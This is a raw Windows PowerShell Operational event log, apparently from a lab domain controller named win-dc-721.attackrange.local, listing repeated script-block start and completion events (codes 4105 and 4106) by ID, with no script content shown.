Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477169
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477168
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477167
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477166
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477164
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477162
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477160
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477159
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477158
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477156
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477155
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477154
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477153
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477152
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477151
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477150
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477148
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477146
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477144
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477142
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477141
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477140
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477139
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477138
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477137
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477136
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477135
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477134
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477133
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477132
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477131
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477130
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477128
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477126
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477124
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477123
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477122
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477120
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477119
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477118
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477117
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477116
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477114
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
